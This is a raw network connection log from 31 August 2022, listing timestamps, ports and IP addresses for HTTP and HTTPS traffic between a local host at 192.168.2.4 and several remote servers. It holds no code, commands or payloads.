Aug 31, 2022 14:29:13.543137074 CEST	443	49775	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:13.555701971 CEST	80	49768	24.232.210.245	192.168.2.4
Aug 31, 2022 14:29:13.565829039 CEST	49775	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:13.607371092 CEST	443	49775	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:13.623471975 CEST	443	49775	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:13.623567104 CEST	443	49775	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:13.623625040 CEST	443	49775	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:13.623677969 CEST	443	49775	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:13.623819113 CEST	443	49775	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:13.634840012 CEST	49775	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:13.643208027 CEST	49775	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:13.643232107 CEST	443	49775	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:13.643279076 CEST	49775	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:13.643286943 CEST	443	49775	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:13.686183929 CEST	49776	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:13.686256886 CEST	443	49776	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:13.686537027 CEST	49776	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:13.688379049 CEST	49776	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:13.688417912 CEST	443	49776	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:13.734085083 CEST	443	49776	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:13.740153074 CEST	49776	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:13.761306047 CEST	49776	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:13.761395931 CEST	443	49776	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:13.762027979 CEST	443	49776	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:13.766098976 CEST	49776	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:13.803410053 CEST	443	49776	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:13.803535938 CEST	443	49776	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:13.803617001 CEST	443	49776	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:13.803694010 CEST	443	49776	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:13.803832054 CEST	443	49776	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:13.804550886 CEST	49776	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:13.804903984 CEST	49776	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:13.808950901 CEST	49776	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:13.809000969 CEST	443	49776	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:13.809046030 CEST	49776	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:13.809061050 CEST	443	49776	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:15.737051010 CEST	49762	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:29:15.792668104 CEST	49777	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:29:15.879707098 CEST	80	49762	45.136.151.102	192.168.2.4
Aug 31, 2022 14:29:15.880278111 CEST	49762	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:29:15.942219019 CEST	80	49777	45.136.151.102	192.168.2.4
Aug 31, 2022 14:29:15.944904089 CEST	49777	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:29:15.947166920 CEST	49777	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:29:15.993061066 CEST	49778	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:15.993108034 CEST	443	49778	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:15.993454933 CEST	49778	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:15.994085073 CEST	49778	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:15.994112968 CEST	443	49778	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:16.065365076 CEST	49778	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:16.096662998 CEST	80	49777	45.136.151.102	192.168.2.4
Aug 31, 2022 14:29:16.124695063 CEST	80	49777	45.136.151.102	192.168.2.4
Aug 31, 2022 14:29:16.181355000 CEST	49779	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:16.181408882 CEST	443	49779	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:16.181495905 CEST	49779	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:16.182039022 CEST	49779	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:16.182065010 CEST	443	49779	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:16.224875927 CEST	49777	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:29:16.256791115 CEST	443	49779	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:16.256915092 CEST	49779	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:16.258783102 CEST	49779	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:16.258795977 CEST	443	49779	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:16.259118080 CEST	443	49779	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:16.261151075 CEST	49779	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:16.303385973 CEST	443	49779	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:16.329646111 CEST	443	49779	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:16.329776049 CEST	443	49779	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:16.329848051 CEST	443	49779	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:16.329937935 CEST	443	49779	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:16.330069065 CEST	443	49779	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:16.343487978 CEST	443	49779	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:16.346635103 CEST	49779	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:16.369793892 CEST	49779	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:16.369823933 CEST	443	49779	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:16.369870901 CEST	49779	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:16.369883060 CEST	443	49779	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:16.740698099 CEST	49780	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:16.740778923 CEST	443	49780	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:16.740880013 CEST	49780	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:16.771686077 CEST	49780	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:16.771733999 CEST	443	49780	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:16.818490982 CEST	443	49780	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:16.818629980 CEST	49780	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:16.880621910 CEST	49780	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:16.880651951 CEST	443	49780	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:16.881005049 CEST	443	49780	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:16.882707119 CEST	49780	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:16.908530951 CEST	49781	80	192.168.2.4	190.140.74.43
Aug 31, 2022 14:29:16.911732912 CEST	443	49780	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:16.911806107 CEST	443	49780	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:16.911849976 CEST	49780	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:16.911863089 CEST	443	49780	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:16.911920071 CEST	443	49780	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:16.911952019 CEST	49780	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:16.911959887 CEST	443	49780	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:16.912241936 CEST	443	49780	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:16.912281990 CEST	49780	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:16.915653944 CEST	49780	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:16.915678978 CEST	443	49780	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:16.992172003 CEST	49782	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:16.992254019 CEST	443	49782	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:16.992355108 CEST	49782	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:16.999453068 CEST	49782	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:16.999519110 CEST	443	49782	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:17.076919079 CEST	443	49782	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:17.077039957 CEST	49782	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:17.082750082 CEST	49782	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:17.082793951 CEST	443	49782	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:17.083172083 CEST	443	49782	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:17.088233948 CEST	49782	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:17.094481945 CEST	80	49781	190.140.74.43	192.168.2.4
Aug 31, 2022 14:29:17.094621897 CEST	49781	80	192.168.2.4	190.140.74.43
Aug 31, 2022 14:29:17.094727039 CEST	49781	80	192.168.2.4	190.140.74.43
Aug 31, 2022 14:29:17.094741106 CEST	49781	80	192.168.2.4	190.140.74.43
Aug 31, 2022 14:29:17.131372929 CEST	443	49782	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:17.150729895 CEST	443	49782	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:17.150856018 CEST	443	49782	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:17.150928974 CEST	443	49782	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:17.150923014 CEST	49782	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:17.150979042 CEST	443	49782	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:17.151032925 CEST	49782	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:17.151047945 CEST	443	49782	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:17.151490927 CEST	443	49782	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:17.151561022 CEST	49782	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:17.168190956 CEST	49782	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:17.168296099 CEST	443	49782	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:17.168318033 CEST	49782	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:17.168334961 CEST	443	49782	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:17.258173943 CEST	49783	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:17.258213043 CEST	443	49783	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:17.258289099 CEST	49783	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:17.258892059 CEST	49783	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:17.258908033 CEST	443	49783	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:17.286473036 CEST	80	49781	190.140.74.43	192.168.2.4
Aug 31, 2022 14:29:17.337996006 CEST	443	49783	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:17.338164091 CEST	49783	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:17.687561989 CEST	49783	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:17.687593937 CEST	443	49783	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:17.688163042 CEST	443	49783	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:17.690618038 CEST	49783	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:17.730351925 CEST	443	49783	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:17.730472088 CEST	443	49783	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:17.730537891 CEST	443	49783	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:17.730545044 CEST	49783	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:17.730582952 CEST	443	49783	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:17.730648994 CEST	49783	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:17.730664015 CEST	443	49783	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:17.739907026 CEST	49783	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:17.739965916 CEST	49783	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:17.740331888 CEST	443	49783	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:17.740389109 CEST	443	49783	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:17.740477085 CEST	49783	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:17.862652063 CEST	80	49781	190.140.74.43	192.168.2.4
Aug 31, 2022 14:29:17.866463900 CEST	80	49781	190.140.74.43	192.168.2.4
Aug 31, 2022 14:29:17.866533041 CEST	49781	80	192.168.2.4	190.140.74.43
Aug 31, 2022 14:29:17.866595984 CEST	49781	80	192.168.2.4	190.140.74.43
Aug 31, 2022 14:29:17.881422997 CEST	49784	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:17.881514072 CEST	443	49784	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:17.881628036 CEST	49784	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:17.886095047 CEST	49784	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:17.886156082 CEST	443	49784	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:17.903678894 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:17.928884983 CEST	443	49784	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:17.928980112 CEST	49784	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:17.934425116 CEST	49784	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:17.934446096 CEST	443	49784	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:17.934727907 CEST	443	49784	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:17.936408043 CEST	49784	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:17.968589067 CEST	443	49784	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:17.968652964 CEST	443	49784	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:17.968700886 CEST	443	49784	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:17.968717098 CEST	49784	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:17.968732119 CEST	443	49784	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:17.968770027 CEST	49784	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:17.968795061 CEST	443	49784	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:17.968883038 CEST	443	49784	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:17.968924046 CEST	49784	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:18.054488897 CEST	80	49781	190.140.74.43	192.168.2.4
Aug 31, 2022 14:29:18.185323000 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:18.185502052 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:18.938699961 CEST	49784	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:18.938744068 CEST	443	49784	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:18.938765049 CEST	49784	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:18.938774109 CEST	443	49784	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:18.976070881 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:18.977010965 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:19.240381956 CEST	49787	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:19.240428925 CEST	443	49787	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:19.240529060 CEST	49787	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:19.241720915 CEST	49787	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:19.241750956 CEST	443	49787	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:19.257827997 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:19.313364983 CEST	443	49787	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:19.313524008 CEST	49787	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:19.360101938 CEST	49787	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:19.360168934 CEST	443	49787	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:19.360672951 CEST	443	49787	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:19.372215033 CEST	49787	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:19.415374994 CEST	443	49787	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:19.417211056 CEST	443	49787	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:19.417289019 CEST	443	49787	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:19.417351007 CEST	443	49787	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:19.417350054 CEST	49787	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:19.417372942 CEST	443	49787	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:19.417412043 CEST	49787	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:19.417421103 CEST	443	49787	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:19.417620897 CEST	443	49787	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:19.417675972 CEST	49787	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:19.417907953 CEST	49787	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:19.417923927 CEST	443	49787	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:19.451832056 CEST	49788	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:19.451874971 CEST	443	49788	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:19.451978922 CEST	49788	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:19.476459980 CEST	49788	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:19.476495028 CEST	443	49788	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:19.519397974 CEST	443	49788	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:19.519506931 CEST	49788	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:19.523181915 CEST	49788	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:19.523204088 CEST	443	49788	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:19.523612022 CEST	443	49788	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:19.525437117 CEST	49788	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:19.557012081 CEST	443	49788	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:19.557141066 CEST	443	49788	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:19.557226896 CEST	443	49788	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:19.557230949 CEST	49788	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:19.557274103 CEST	443	49788	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:19.557451963 CEST	49788	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:19.557488918 CEST	443	49788	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:19.557620049 CEST	443	49788	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:19.557710886 CEST	49788	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:19.571940899 CEST	49788	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:19.571965933 CEST	443	49788	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:19.647465944 CEST	49789	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:19.647520065 CEST	443	49789	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:19.647608042 CEST	49789	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:19.648094893 CEST	49789	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:19.648128986 CEST	443	49789	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:19.702387094 CEST	49777	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:29:19.702469110 CEST	49777	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:29:19.719290018 CEST	443	49789	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:19.719440937 CEST	49789	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:19.725819111 CEST	49789	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:19.725836992 CEST	443	49789	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:19.726257086 CEST	443	49789	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:19.727991104 CEST	49789	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:19.771397114 CEST	443	49789	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:19.793860912 CEST	443	49789	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:19.793927908 CEST	443	49789	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:19.793982983 CEST	443	49789	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:19.794033051 CEST	443	49789	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:19.794039011 CEST	49789	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:19.794071913 CEST	443	49789	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:19.794097900 CEST	49789	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:19.794158936 CEST	443	49789	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:19.794233084 CEST	49789	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:19.796608925 CEST	49789	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:19.796641111 CEST	443	49789	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:19.796670914 CEST	49789	443	192.168.2.4	172.67.188.70
Aug 31, 2022 14:29:19.796685934 CEST	443	49789	172.67.188.70	192.168.2.4
Aug 31, 2022 14:29:19.852232933 CEST	80	49777	45.136.151.102	192.168.2.4
Aug 31, 2022 14:29:19.881937981 CEST	49790	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:19.881973028 CEST	443	49790	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:19.882088900 CEST	49790	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:19.882658958 CEST	49790	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:19.882678986 CEST	443	49790	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:19.915900946 CEST	80	49777	45.136.151.102	192.168.2.4
Aug 31, 2022 14:29:19.922270060 CEST	443	49790	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:19.922353029 CEST	49790	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:19.925260067 CEST	49790	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:19.925291061 CEST	443	49790	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:19.925648928 CEST	443	49790	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:19.927280903 CEST	49790	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:19.965342999 CEST	443	49790	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:19.965497017 CEST	443	49790	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:19.965590954 CEST	49790	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:19.965610027 CEST	443	49790	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:19.965634108 CEST	443	49790	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:19.965675116 CEST	49790	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:19.965756893 CEST	443	49790	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:19.965925932 CEST	443	49790	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:19.965981960 CEST	49790	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:19.969639063 CEST	49790	443	192.168.2.4	104.21.40.196
Aug 31, 2022 14:29:19.969675064 CEST	443	49790	104.21.40.196	192.168.2.4
Aug 31, 2022 14:29:20.017596006 CEST	49777	80	192.168.2.4	45.136.151.102
Aug 31, 2022 14:29:20.108808041 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:20.109409094 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:20.109766960 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:20.390825033 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:20.390860081 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:20.390882969 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:20.391093016 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:20.517657042 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:20.673010111 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:20.673048973 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:20.673187017 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:20.673471928 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:20.720804930 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:20.799324036 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:20.799726963 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:20.799814939 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:20.955281019 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:20.955316067 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:20.955744028 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:20.955811977 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:21.002265930 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.002386093 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:21.002743006 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.081295013 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.081327915 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.081348896 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.081422091 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:21.081456900 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:21.236258030 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.236287117 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.236306906 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.236401081 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:21.236723900 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.238239050 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:21.283257961 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.283288956 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.283374071 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:21.361697912 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.361728907 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.361804008 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:21.361829042 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.361850023 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.361993074 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.362051010 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:21.362179995 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.363461018 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:21.517285109 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.517321110 CEST	80	49785	186.182.55.44	192.168.2.4
Aug 31, 2022 14:29:21.517440081 CEST	49785	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:29:21.517718077 CEST	80	49785	186.182.55.44	192.168.2.4
